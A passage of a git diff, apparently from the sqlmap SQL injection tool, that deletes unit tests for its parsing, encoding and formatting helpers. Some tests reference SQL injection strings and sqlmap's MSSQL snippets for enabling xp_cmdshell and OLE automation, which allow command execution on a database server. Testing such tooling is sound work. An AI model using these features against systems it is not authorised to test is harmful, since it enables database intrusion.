self._params_none is None: - conf.parameters.pop(None, None) - else: - conf.parameters[None] = self._params_none - - def test_sqlite_local_dsn(self): - kb.smokeMode = False - conf.direct = "sqlite://%s" % os.path.join(SCRATCH, "test.db") - parseTargetDirect() - # non-smoke path canonicalizes the DBMS name via DBMS_DICT - self.assertEqual(conf.dbms, DBMS.SQLITE) - # local file DBMS: hostname forced to localhost, port 0 - self.assertEqual(conf.hostname, "localhost") - self.assertEqual(conf.port, 0) - self.assertEqual(conf.parameters[None], "direct connection") - - -class TestRemoveReflectiveValues(unittest.TestCase): - def setUp(self): - self._mech = kb.reflectiveMechanism - self._heur = kb.heuristicMode - kb.reflectiveMechanism = True - kb.heuristicMode = False - - def tearDown(self): - kb.reflectiveMechanism = self._mech - kb.heuristicMode = self._heur - - def test_reflected_payload_masked(self): - content = u"You searched for 1 AND 1=2 here" - out = removeReflectiveValues(content, "1 AND 1=2") - self.assertIn(REFLECTED_VALUE_MARKER, out) - self.assertNotIn("AND 1=2", out) - - def test_no_reflection_returns_content_unchanged(self): - content = u"nothing interesting" - out = removeReflectiveValues(content, "1 AND 1=2") - self.assertEqual(out, content) - - def test_none_payload_returns_content(self): - content = u"x" - self.assertEqual(removeReflectiveValues(content, None), content) - - def test_bytes_content_returned_as_is(self): - # non-text content short-circuits (isinstance text_type check) - content = b"1 AND 1=2" - self.assertEqual(removeReflectiveValues(content, "1 AND 1=2"), content) - - -class TestFindPageForms(unittest.TestCase): - def setUp(self): - self._scope = conf.scope - self._crawlExclude = conf.crawlExclude - self._cookie = conf.cookie - conf.scope = None - conf.crawlExclude = None - conf.cookie = None - - def tearDown(self): - conf.scope = self._scope - conf.crawlExclude = self._crawlExclude - conf.cookie = self._cookie - - def test_post_form_discovered(self): - html = ('' - '' - '
') - forms = findPageForms(html, "http://www.site.com") - self.assertEqual(forms, set([("http://www.site.com/input.php", "POST", "id=1", None, None)])) - - def test_get_form_discovered(self): - html = ('
' - '' - '
') - forms = findPageForms(html, "http://www.site.com") - self.assertEqual(len(forms), 1) - url, method, data, _cookie, _ = list(forms)[0] - self.assertEqual(method, "GET") - self.assertIn("q=x", url) - - def test_inline_js_post_discovered(self): - # the `.post('url', {k: v})` regex branch (independent of HTML form parsing) - html = "" - forms = findPageForms(html, "http://www.site.com") - self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) - - def test_blank_content_returns_empty_set(self): - self.assertEqual(findPageForms("", "http://www.site.com"), set()) - - -class TestSaveConfig(unittest.TestCase): - def test_writes_ini_with_sections(self): - path = _write_temp("", ".ini") - try: - saveConfig(conf, path) - with open(path) as f: - data = f.read() - finally: - os.unlink(path) - - # optDict families become [Section] headers - self.assertIn("[Target]", data) - self.assertIn("[Request]", data) - self.assertIn("[Enumeration]", data) - self.assertTrue(len(data) > 0) - - -class TestGetSQLSnippet(unittest.TestCase): - def test_mssql_proc_loaded(self): - snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") - self.assertIn("RECONFIGURE", snippet) - - def test_variable_substitution(self): - # %VAR% placeholders are substituted from kwargs (here %ENABLE%); - # supplying it avoids the interactive "provide substitution values" prompt. - snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") - self.assertIn("xp_cmdshell", snippet) - self.assertIn("RECONFIGURE", snippet) - # comments (#...) are stripped and the placeholder is fully resolved - self.assertNotIn("#", snippet) - self.assertNotIn("%ENABLE%", snippet) - - -class TestCheckSystemEncoding(unittest.TestCase): - def test_noop_on_normal_encoding(self): - # On a normal default encoding this is a no-op and must not raise. - self.assertIsNone(checkSystemEncoding()) - - -class TestFormatGetOs(unittest.TestCase): - def setUp(self): - self._api = conf.api - conf.api = False - - def tearDown(self): - conf.api = self._api - - def test_humanizes_type_and_technology(self): - info = { - "type": set(["Linux"]), - "distrib": set(["Ubuntu"]), - "release": set(["8.10"]), - "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), - } - out = Format.getOs("back-end DBMS", info) - self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) - self.assertIn("Ubuntu", out) - self.assertIn("8.10", out) - self.assertIn("web application technology:", out) - - def test_api_mode_returns_dict(self): - orig = conf.api - try: - conf.api = True - info = {"type": set(["Windows"]), "technology": set(["IIS"])} - out = Format.getOs("back-end DBMS", info) - self.assertIsInstance(out, dict) - self.assertIn("web application technology", out) - finally: - conf.api = orig - - -class TestBackendSetters(unittest.TestCase): - """Backend OS/version setters write kb state; save and restore it.""" - - _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") - - def setUp(self): - self._saved = {k: kb.get(k) for k in self._KEYS} - - def tearDown(self): - for k, v in self._saved.items(): - kb[k] = v - - def test_set_get_os(self): - kb.os = None - self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized - self.assertEqual(Backend.getOs(), "Windows") - - def test_set_os_none_returns_none(self): - self.assertIsNone(Backend.setOs(None)) - - def test_set_os_version(self): - kb.osVersion = None - Backend.setOsVersion("2008") - self.assertEqual(Backend.getOsVersion(), "2008") - - def test_set_os_service_pack(self): - kb.osSP = None - Backend.setOsServicePack(3) - self.assertEqual(Backend.getOsServicePack(), 3) - - def test_set_get_version(self): - kb.dbmsVersion = [] - self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) - self.assertEqual(Backend.getVersion(), "5.7") - - def test_set_version_list(self): - kb.dbmsVersion = [] - Backend.setVersionList(["8.0", "8.1"]) - self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) - - -class TestUrlencodeExtraBranches(unittest.TestCase): - def test_like_percent_encoded(self): - # '%' inside a LIKE '...' literal is encoded to %25 - self.assertEqual(urlencode("AND name LIKE '%DBA%'"), - "AND%20name%20LIKE%20%27%25DBA%25%27") - - def test_convall_drops_safe_set(self): - self.assertEqual(urlencode("a&b", convall=True), "a%26b") - - def test_limit_does_not_crash_on_long_input(self): - out = urlencode("x " * 4000, limit=True) - self.assertTrue(len(out) > 0) - - def test_direct_mode_returns_value_unchanged(self): - orig = conf.direct - try: - conf.direct = "mysql://u:p@h:3306/d" - self.assertEqual(urlencode("a b"), "a b") - finally: - conf.direct = orig - - -class TestSafeStringFormatExtraBranches(unittest.TestCase): - def test_percent_d_in_payload_region_becomes_string(self): - fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER - self.assertEqual( - safeStringFormat(fmt, ("a", "5")), - "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) - - def test_scalar_string_percent_preserved(self): - # single-string param path: plain replace, embedded '%' survives - self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") - - def test_two_params_list(self): - self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_common_utils.py b/tests/test_common_utils.py deleted file mode 100644 index 9faa815f7..000000000 --- a/tests/test_common_utils.py +++ /dev/null @@ -1,340 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Pure / near-pure helpers in lib/core/common.py. - -These cover the request/parameter parsing, charset construction, limit-range -generation, safe string formatting, URL encoding, UNION page parsing, target -URL/direct-connection parsing and SQL identifier quoting. They are exercised -in isolation (no network, no DBMS, no filesystem mutation); any function that -reads/writes global conf/kb state has that state saved and restored around the -call so test ordering stays irrelevant. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.common import ( - paramToDict, - getCharset, - getLimitRange, - parseUnionPage, - safeStringFormat, - urlencode, - parseTargetUrl, - parseTargetDirect, - safeSQLIdentificatorNaming, - getPartRun, - getText, -) -from lib.core.data import kb, conf -from lib.core.enums import PLACE, CHARSET_TYPE, DBMS - - -class TestParamToDict(unittest.TestCase): - """Parameter string -> OrderedDict for the various injection places.""" - - def test_get_two_params(self): - result = paramToDict(PLACE.GET, "id=1&name=foo") - self.assertEqual(list(result.items()), [("id", "1"), ("name", "foo")]) - - def test_get_preserves_order(self): - result = paramToDict(PLACE.GET, "c=3&a=1&b=2") - self.assertEqual(list(result.keys()), ["c", "a", "b"]) - - def test_post_place(self): - result = paramToDict(PLACE.POST, "user=admin&pass=secret") - self.assertEqual(result["user"], "admin") - self.assertEqual(result["pass"], "secret") - - def test_empty_value(self): - result = paramToDict(PLACE.GET, "id=&name=x") - self.assertEqual(result["id"], "") - self.assertEqual(result["name"], "x") - - def test_value_with_equal_signs(self): - # value is re-joined on '=' so embedded '=' survives - result = paramToDict(PLACE.GET, "token=a=b=c") - self.assertEqual(result["token"], "a=b=c") - - def test_cookie_delimiter(self): - # COOKIE place splits on ';' rather than '&' - result = paramToDict(PLACE.COOKIE, "foo=bar;baz=qux") - self.assertEqual(list(result.items()), [("foo", "bar"), ("baz", "qux")]) - - def test_param_without_equals_ignored(self): - # an element with no '=' has len(parts) < 2 and is skipped - result = paramToDict(PLACE.GET, "lonely&id=1") - self.assertEqual(list(result.items()), [("id", "1")]) - - -class TestGetCharset(unittest.TestCase): - """Inference charsets are fixed integer tables.""" - - def test_binary(self): - self.assertEqual(getCharset(CHARSET_TYPE.BINARY), [0, 1, 47, 48, 49]) - - def test_default_is_full_ascii(self): - self.assertEqual(getCharset(None), list(range(0, 128))) - - def test_digits(self): - result = getCharset(CHARSET_TYPE.DIGITS) - self.assertEqual(result, list(range(0, 10)) + list(range(47, 58))) - - def test_alpha_has_no_digits(self): - result = getCharset(CHARSET_TYPE.ALPHA) - # ASCII codes for '0'..'9' are 48..57; ALPHA must exclude them - self.assertFalse(any(48 <= _ <= 57 for _ in result)) - self.assertIn(ord("A"), result) - self.assertIn(ord("z"), result) - - def test_alphanum_superset_of_alpha(self): - alpha = set(getCharset(CHARSET_TYPE.ALPHA)) - alphanum = set(getCharset(CHARSET_TYPE.ALPHANUM)) - self.assertTrue(alpha.issubset(alphanum)) - self.assertIn(ord("5"), alphanum) - - def test_hexadecimal_contains_hex_letters(self): - result = getCharset(CHARSET_TYPE.HEXADECIMAL) - for ch in "0123456789abcdefABCDEF": - self.assertIn(ord(ch), result, msg="missing %r" % ch) - - -class TestGetLimitRange(unittest.TestCase): - def test_basic(self): - self.assertEqual(list(getLimitRange(10)), list(range(0, 10))) - - def test_plus_one(self): - self.assertEqual(list(getLimitRange(3, plusOne=True)), [1, 2, 3]) - - def test_string_count_coerced(self): - # count is int()-coerced internally - self.assertEqual(list(getLimitRange("4")), [0, 1, 2, 3]) - - def test_length(self): - self.assertEqual(len(getLimitRange(7)), 7) - - -class TestParseUnionPage(unittest.TestCase): - def test_none(self): - self.assertIsNone(parseUnionPage(None)) - - def test_two_entries(self): - page = "%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop) - # returns a BigArray; compare element-wise - self.assertEqual(list(parseUnionPage(page)), ["foo", "bar"]) - - def test_single_entry_unwrapped(self): - # a lone wrapped string is returned as the bare string, not a 1-element list - page = "%shello%s" % (kb.chars.start, kb.chars.stop) - self.assertEqual(parseUnionPage(page), "hello") - - def test_multi_column_row(self): - # a single row whose values are joined by kb.chars.delimiter becomes one - # nested list entry - page = "%sa%sb%s" % (kb.chars.start, kb.chars.delimiter, kb.chars.stop) - self.assertEqual(list(parseUnionPage(page)), [["a", "b"]]) - - def test_unmarked_page_returned_verbatim(self): - self.assertEqual(parseUnionPage("no markers here"), "no markers here") - - -class TestSafeStringFormat(unittest.TestCase): - def test_basic_tuple(self): - self.assertEqual(safeStringFormat("SELECT foo FROM %s LIMIT %d", ("bar", "1")), - "SELECT foo FROM bar LIMIT 1") - - def test_literal_percent_preserved(self): - self.assertEqual( - safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ("bar", "1")), - "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1") - - def test_single_string_param(self): - self.assertEqual(safeStringFormat("a %s b", "X"), "a X b") - - def test_scalar_non_string(self): - self.assertEqual(safeStringFormat("n=%d", 5), "n=5") - - -class TestUrlencode(unittest.TestCase): - def test_basic(self): - self.assertEqual(urlencode("AND 1>(2+3)#"), "AND%201%3E%282%2B3%29%23") - - def test_none(self): - self.assertIsNone(urlencode(None)) - - def test_spaceplus(self): - self.assertEqual(urlencode("a b", spaceplus=True), "a+b") - - def test_convall_encodes_safe_chars(self): - # with convall the explicit 'safe' set is dropped, so '/' gets encoded - self.assertEqual(urlencode("a/b", convall=True), "a%2Fb") - - def test_safe_char_default_kept(self): - # by default '-' and '_' are in the safe set - self.assertEqual(urlencode("a-b_c"), "a-b_c") - - -class TestParseTargetUrl(unittest.TestCase): - """parseTargetUrl mutates conf.* in place; save and restore everything touched.""" - - def _save(self): - return {k: conf.get(k) for k in - ("url", "scheme", "path", "hostname", "port", "ipv6")} - - def _restore(self, saved): - for k, v in saved.items(): - conf[k] = v - - def test_https_url(self): - saved = self._save() - orig_params = conf.parameters.get(PLACE.GET) - try: - conf.url = "https://www.test.com/?id=1" - parseTargetUrl() - self.assertEqual(conf.hostname, "www.test.com") - self.assertEqual(conf.scheme, "https") - self.assertEqual(conf.port, 443) - self.assertEqual(conf.parameters[PLACE.GET], "id=1") - finally: - self._restore(saved) - if orig_params is None: - conf.parameters.pop(PLACE.GET, None) - else: - conf.parameters[PLACE.GET] = orig_params - - def test_scheme_defaulted_and_port(self): - saved = self._save() - try: - conf.url = "example.org:8080/app" - parseTargetUrl() - self.assertEqual(conf.hostname, "example.org") - self.assertEqual(conf.scheme, "http") - self.assertEqual(conf.port, 8080) - finally: - self._restore(saved) - - def test_empty_url_returns_none(self): - saved = self._save() - try: - conf.url = "" - self.assertIsNone(parseTargetUrl()) - finally: - self._restore(saved) - - -class TestParseTargetDirect(unittest.TestCase): - """parseTargetDirect under smokeMode (early-returns before driver imports).""" - - def _save(self): - return {k: conf.get(k) for k in - ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port")} - - def _restore(self, saved): - for k, v in saved.items(): - conf[k] = v - - def test_full_mysql_dsn(self): - saved = self._save() - orig_smoke = kb.smokeMode - orig_none = conf.parameters.get(None) - try: - kb.smokeMode = True - conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" - parseTargetDirect() - self.assertEqual(conf.dbms, "mysql") - self.assertEqual(conf.dbmsUser, "root") - self.assertEqual(conf.dbmsPass, "testpass") - self.assertEqual(conf.dbmsDb, "testdb") - self.assertEqual(conf.hostname, "127.0.0.1") - self.assertEqual(conf.port, 3306) - finally: - self._restore(saved) - kb.smokeMode = orig_smoke - if orig_none is None: - conf.parameters.pop(None, None) - else: - conf.parameters[None] = orig_none - - def test_quoted_password(self): - saved = self._save() - orig_smoke = kb.smokeMode - orig_none = conf.parameters.get(None) - try: - kb.smokeMode = True - conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" - parseTargetDirect() - self.assertEqual(conf.dbmsPass, "P@ssw0rd") - self.assertEqual(conf.hostname, "127.0.0.1") - finally: - self._restore(saved) - kb.smokeMode = orig_smoke - if orig_none is None: - conf.parameters.pop(None, None) - else: - conf.parameters[None] = orig_none - - def test_empty_direct_returns_none(self): - saved = self._save() - try: - conf.direct = None - self.assertIsNone(parseTargetDirect()) - finally: - self._restore(saved) - - -class TestSafeSQLIdentificatorNaming(unittest.TestCase): - """Quoting of identifiers is DBMS-specific; drive it via kb.forcedDbms.""" - - def _run(self, dbms, name, **kw): - orig = kb.forcedDbms - try: - kb.forcedDbms = dbms - return getText(safeSQLIdentificatorNaming(name, **kw)) - finally: - kb.forcedDbms = orig - - def test_mssql_keyword_bracketed(self): - self.assertEqual(self._run(DBMS.MSSQL, "begin"), "[begin]") - - def test_plain_name_unquoted(self): - self.assertEqual(self._run(DBMS.MSSQL, "foobar"), "foobar") - - def test_firebird_name_with_space_double_quoted(self): - self.assertEqual(self._run(DBMS.FIREBIRD, "foo bar"), '"foo bar"') - - def test_mysql_keyword_backticked(self): - self.assertEqual(self._run(DBMS.MYSQL, "select"), "`select`") - - def test_oracle_keyword_uppercased(self): - # Oracle quotes AND uppercases reserved words - self.assertEqual(self._run(DBMS.ORACLE, "table"), '"TABLE"') - - def test_unsafe_naming_passthrough(self): - orig = conf.unsafeNaming - try: - conf.unsafeNaming = True - self.assertEqual(self._run(DBMS.MYSQL, "select"), "select") - finally: - conf.unsafeNaming = orig - - -class TestGetPartRun(unittest.TestCase): - def test_no_dbms_handler_in_stack(self): - # called from a test (no conf.dbmsHandler.* on the stack) -> None - self.assertIsNone(getPartRun()) - - def test_non_alias_form_also_none(self): - self.assertIsNone(getPartRun(alias=False)) - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_compat.py b/tests/test_compat.py index 69edf2e7a..98c544344 100644 --- a/tests/test_compat.py +++ b/tests/test_compat.py @@ -21,8 +21,7 @@ bootstrap() from lib.core.compat import (WichmannHill, patchHeaders, cmp, choose_boundary, round, cmp_to_key, LooseVersion, _is_write_mode, - MixedWriteTextIO, _codecs_open, codecs_open) -from lib.core.compat import xrange + MixedWriteTextIO, _codecs_open) class TestWichmannHill(unittest.TestCase): diff --git a/tests/test_core_extra.py b/tests/test_core_extra.py deleted file mode 100644 index 5c1a5a282..000000000 --- a/tests/test_core_extra.py +++ /dev/null @@ -1,676 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional REAL unit coverage for genuinely-uncovered PURE functions in: - - * lib/core/common.py - * lib/core/option.py - * lib/core/agent.py - * lib/request/basic.py - -Every test asserts a concrete, independently-reasoned known-correct value that -would FAIL if the function under test regressed. No isinstance-only checks, no -tautologies, no swallowed exceptions. - -Functions targeted here are deliberately DIFFERENT from those already exercised -by tests/test_common_utils.py, test_common_parsers.py, test_core_more.py, -test_core_final.py, test_option_setup.py, test_option_more.py, test_agent.py, -test_agent_dialects.py, test_decodepage.py and test_charset.py. - -stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) - -from tests._testutils import bootstrap, set_dbms - -bootstrap() - -from lib.core.data import conf, kb -from lib.core.defaults import defaults -from lib.core.common import Backend -from lib.core.enums import DBMS - - -class TestCommonStringHelpers(unittest.TestCase): - """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" - - def test_posix_to_nt_slashes(self): - from lib.core.common import posixToNtSlashes - self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") - self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") - # falsy input returned unchanged - self.assertEqual(posixToNtSlashes(""), "") - self.assertIsNone(posixToNtSlashes(None)) - - def test_nt_to_posix_slashes(self): - from lib.core.common import ntToPosixSlashes - self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") - self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") - self.assertEqual(ntToPosixSlashes(""), "") - - def test_is_hex_encoded_string(self): - from lib.core.common import isHexEncodedString - self.assertTrue(isHexEncodedString("DEADBEEF")) - self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex - self.assertFalse(isHexEncodedString("test")) - self.assertFalse(isHexEncodedString("12 34")) # space breaks it - - def test_is_digit(self): - from lib.core.common import isDigit - self.assertTrue(isDigit("123456")) - self.assertFalse(isDigit("3b3")) - self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False - self.assertFalse(isDigit("")) # empty -> no match - self.assertFalse(isDigit(None)) - - def test_sanitize_str(self): - from lib.core.common import sanitizeStr - self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") - self.assertEqual(sanitizeStr("a\r\nb"), "a b") - self.assertEqual(sanitizeStr(None), "None") - - def test_filter_control_chars(self): - from lib.core.common import filterControlChars - self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") - # custom replacement character - self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") - - def test_normalize_path(self): - from lib.core.common import normalizePath - self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") - self.assertEqual(normalizePath("/a/b/../c"), "/a/c") - - def test_directory_path(self): - from lib.core.common import directoryPath - self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") - # no extension -> returned unchanged - self.assertEqual(directoryPath("/var/log"), "/var/log") - - def test_longest_common_prefix(self): - from lib.core.common import longestCommonPrefix - self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") - self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") - # single sequence returned verbatim - self.assertEqual(longestCommonPrefix("only"), "only") - - def test_first_not_none(self): - from lib.core.common import firstNotNone - self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) - self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None - self.assertIsNone(firstNotNone(None, None)) - - def test_decode_string_escape(self): - from lib.core.common import decodeStringEscape - self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") - self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") - # no backslash -> unchanged - self.assertEqual(decodeStringEscape("plain"), "plain") - - def test_encode_string_escape(self): - from lib.core.common import encodeStringEscape - self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") - self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") - self.assertEqual(encodeStringEscape("plain"), "plain") - - def test_decode_encode_string_escape_roundtrip(self): - from lib.core.common import decodeStringEscape, encodeStringEscape - self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") - - def test_escape_json_value(self): - from lib.core.common import escapeJsonValue - # newline gets escaped (literal '\n' becomes the two chars backslash+n) - self.assertNotIn("\n", escapeJsonValue("foo\nbar")) - self.assertIn("\\n", escapeJsonValue("foo\nbar")) - # tab gets escaped to '\t' - self.assertIn("\\t", escapeJsonValue("foo\tbar")) - # quote and backslash escaped - self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') - self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") - # ordinary characters untouched - self.assertEqual(escapeJsonValue("plain text"), "plain text") - - def test_clean_query(self): - from lib.core.common import cleanQuery - self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") - # already-uppercase keywords stay; identifiers untouched - self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") - - def test_json_minimize_canonical(self): - from lib.core.common import jsonMinimize - # key order / whitespace independence - self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) - # nested leaf path - self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") - # empty object - self.assertEqual(jsonMinimize("{}"), "") - # not parseable -> None (and only None) - self.assertIsNone(jsonMinimize("not json")) - - def test_json_minimize_array_length_registers(self): - from lib.core.common import jsonMinimize - # array length change must perturb the projection - self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) - - def test_list_to_str_value(self): - from lib.core.common import listToStrValue - self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") - # set/tuple/generator normalized via list first - self.assertEqual(listToStrValue((1, 2)), "1, 2") - # non-list passes through - self.assertEqual(listToStrValue("abc"), "abc") - - def test_intersect(self): - from lib.core.common import intersect - self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) - # order follows containerA - self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) - # case-insensitive option - self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) - - def test_priority_sort_columns(self): - from lib.core.common import prioritySortColumns - # 'id'-containing columns first, then by ascending length - self.assertEqual( - prioritySortColumns(["password", "userid", "name", "id"]), - ["id", "userid", "name", "password"], - ) - - def test_safe_variable_naming(self): - from lib.core.common import safeVariableNaming - self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") - # plain identifier left untouched - self.assertEqual(safeVariableNaming("foobar"), "foobar") - - def test_unsafe_variable_naming(self): - from lib.core.common import unsafeVariableNaming - self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") - self.assertEqual(unsafeVariableNaming("foobar"), "foobar") - - def test_variable_naming_roundtrip(self): - from lib.core.common import safeVariableNaming, unsafeVariableNaming - self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") - - def test_average(self): - from lib.core.common import average - self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) - self.assertEqual(average([2, 4]), 3.0) - self.assertIsNone(average([])) - - def test_stdev(self): - from lib.core.common import stdev - self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") - # fewer than 2 values -> None - self.assertIsNone(stdev([1.0])) - self.assertIsNone(stdev([])) - - -class TestCommonSafeCompare(unittest.TestCase): - """Constant-time / checksum helpers.""" - - def test_safe_compare_strings(self): - from lib.core.common import safeCompareStrings - self.assertTrue(safeCompareStrings("test", "test")) - self.assertFalse(safeCompareStrings("test1", "test2")) - self.assertFalse(safeCompareStrings("test", None)) - # both None compares equal (a == b path) - self.assertTrue(safeCompareStrings(None, None)) - - def test_safe_cs_value(self): - from lib.core.common import safeCSValue - # ensure deterministic delimiter - old = conf.get("csvDel") - conf.csvDel = defaults.csvDel - try: - self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') - self.assertEqual(safeCSValue("foobar"), "foobar") - self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') - self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') - finally: - conf.csvDel = old - - -class TestCommonSafeExString(unittest.TestCase): - def test_sqlmap_exception_message(self): - from lib.core.common import getSafeExString - from lib.core.exception import SqlmapBaseException - self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") - - def test_oserror_prefixed_with_type(self): - from lib.core.common import getSafeExString - self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") - - def test_generic_value_error(self): - from lib.core.common import getSafeExString - self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") - - -class TestCommonHostHeader(unittest.TestCase): - def test_plain_host(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") - - def test_default_port_stripped(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") - self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") - - def test_nondefault_port_kept(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") - - def test_ipv6_brackets(self): - from lib.core.common import getHostHeader - self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") - self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") - - -class TestCommonCheckSameHost(unittest.TestCase): - def test_same_host(self): - from lib.core.common import checkSameHost - self.assertTrue(checkSameHost( - "http://www.target.com/page1.php?id=1", - "http://www.target.com/images/page2.php", - )) - - def test_different_host(self): - from lib.core.common import checkSameHost - self.assertFalse(checkSameHost( - "http://www.target.com/page1.php?id=1", - "http://www.target2.com/images/page2.php", - )) - - def test_www_prefix_ignored(self): - from lib.core.common import checkSameHost - # leading 'www.' is stripped before comparison - self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) - - def test_single_url_true_and_empty_none(self): - from lib.core.common import checkSameHost - self.assertTrue(checkSameHost("http://only.com/a")) - self.assertIsNone(checkSameHost()) - - -class TestCommonUrldecode(unittest.TestCase): - def test_convall_true(self): - from lib.core.common import urldecode - self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") - - def test_convall_false_keeps_unsafe(self): - from lib.core.common import urldecode - # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False - self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") - - def test_bytes_input(self): - from lib.core.common import urldecode - self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") - - def test_spaceplus(self): - from lib.core.common import urldecode - # with spaceplus the '+' becomes a space - self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") - # without spaceplus the '+' stays - self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") - - -class TestCommonChunkSplit(unittest.TestCase): - def test_chunk_split_post_data(self): - import random - from lib.core.common import chunkSplitPostData - from lib.core.patch import unisonRandom - # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it - # (then restore the stdlib functions) so the expectation is deterministic here too. - _saved = (random.choice, random.randint, random.sample, random.seed) - unisonRandom() - try: - random.seed(0) - expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' - '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' - '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') - self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) - finally: - random.choice, random.randint, random.sample, random.seed = _saved - - def test_chunk_split_terminator(self): - import random - from lib.core.common import chunkSplitPostData - random.seed(123) - # regardless of content, the chunked stream must end with the zero-length terminator - self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) - - -class TestCommonDecodeIntToUnicode(unittest.TestCase): - def tearDown(self): - set_dbms(None) - - def 